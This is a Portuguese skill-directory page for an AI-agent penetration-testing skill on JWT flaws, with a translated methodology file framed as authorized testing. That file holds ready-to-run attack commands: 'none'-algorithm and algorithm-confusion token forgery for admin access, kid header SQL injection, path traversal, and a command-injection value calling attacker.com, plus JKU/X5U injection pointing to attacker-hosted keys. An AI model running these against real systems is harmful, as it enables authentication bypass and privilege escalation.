Pular para o conteúdo
Skillpedia
Testes35 mil · #6223

testing-for-json-web-token-vulnerabilities

Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em tokens de autenticação chamados JWT. Ela verifica se é possível enganar o sistema para que ele aceite tokens inválidos ou com privilégios maiores.

Quando usar

  • ✓Ao testar a segurança de sites e aplicativos que usam JWT para login.
  • ✓Ao avaliar sistemas de login único (SSO) ou fluxos de autenticação como OAuth2.
  • ✓Durante testes de invasão para encontrar vulnerabilidades em como os tokens são gerenciados.

Exemplo do que pedir para a IA

“Verifique se há vulnerabilidades no token JWT fornecido.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-json-web-token-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-json-web-token-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta diferentes tipos de ataques, como usar algoritmos inseguros ou injetar informações maliciosas nos cabeçalhos do token. Ela usa outras ferramentas como `jwt_tool` e `Burp Suite` para automatizar essas verificações.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-json-web-token-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Vulnerabilidades de JSON Web Token (JWT)

Quando Usar

  • Ao testar aplicações que usam JWT para autenticação e gerenciamento de sessão
  • Durante avaliações de segurança de API onde JWTs são usados para autorização
  • Ao avaliar implementações de OAuth 2.0 ou OpenID Connect que usam JWT
  • Durante testes de penetração de sistemas de Single Sign-On (SSO)
  • Ao auditar configurações de bibliotecas JWT para vulnerabilidades conhecidas

Pré-requisitos

  • jwt_tool (toolkit de exploração de JWT em Python)
  • Burp Suite com a extensão JWT Editor
  • jwt.io para decodificar e inspecionar a estrutura do JWT
  • Compreensão da estrutura do JWT (header.payload.signature) e algoritmos (HS256, RS256)
  • hashcat ou john para brute-force de segredos fracos de JWT
  • Biblioteca PyJWT do Python para scripts customizados de forjamento de JWT
  • Acesso à aplicação que usa autenticação baseada em JWT

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Decodificar e Analisar a Estrutura do JWT

# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>

# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers

Passo 2 — Testar Bypass do Algoritmo "None"

# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a

# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)

# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"

# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin

# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin

Passo 3 — Testar Confusão de Algoritmo (RS256 para HS256)

# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret

# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json

# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem

# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"

Passo 4 — Testar Injeção do Parâmetro Key ID (kid)

# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"

# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""

# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"

Passo 5 — Testar Injeção de Cabeçalho JKU/X5U

# Injeção JKU (JSON Web Key Set URL)
# Apontar jku para JWKS controlado pelo atacante
# Passo 1: Gerar par de chaves
python3 jwt_tool.py <JWT_TOKEN> -X s

# Passo 2: Hospedar JWKS em servidor do atacante
# jwt_tool gera jwks.json - hospede-o em http://atacante.com/.well-known/jwks.json

# Passo 3: Modificar cabeçalho JWT para apontar para JWKS do atacante
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://atacante.com/.well-known/jwks.json"

# Injeção X5U (X.509 certificate URL)
# Similar ao JKU, mas usando cadeia de certificados X.509
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://atacante.com/cert.pem"


…
Perguntas frequentes

O que é um JWT?

JWT significa JSON Web Token. É um padrão para criar tokens de acesso que transmitem informações de forma segura entre partes. Pense nele como um crachá digital que prova quem você é.

Quais são os principais tipos de ataque que esta ferramenta realiza?

Ela testa o bypass do algoritmo 'none', confusão de algoritmos (usar uma chave pública como secreta), injeção em parâmetros como 'kid' e 'jku', e exploração de segredos fracos.

Preciso saber programar para usar isso?

Embora entender os conceitos ajude, a ferramenta é projetada para ser usada por testadores de segurança. O uso principal é executar comandos e analisar os resultados, não escrever código complexo.

Detalhes

Descrição original do autor

Tests JWT implementations for algorithm confusion, "none" algorithm bypass, kid/jku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's JWT Editor extension, aiming to achieve authentication bypass and privilege escalation. Use when assessing JWT-based auth/session management, OAuth2/OIDC token handling, or SSO systems during a security engagement.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6223
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas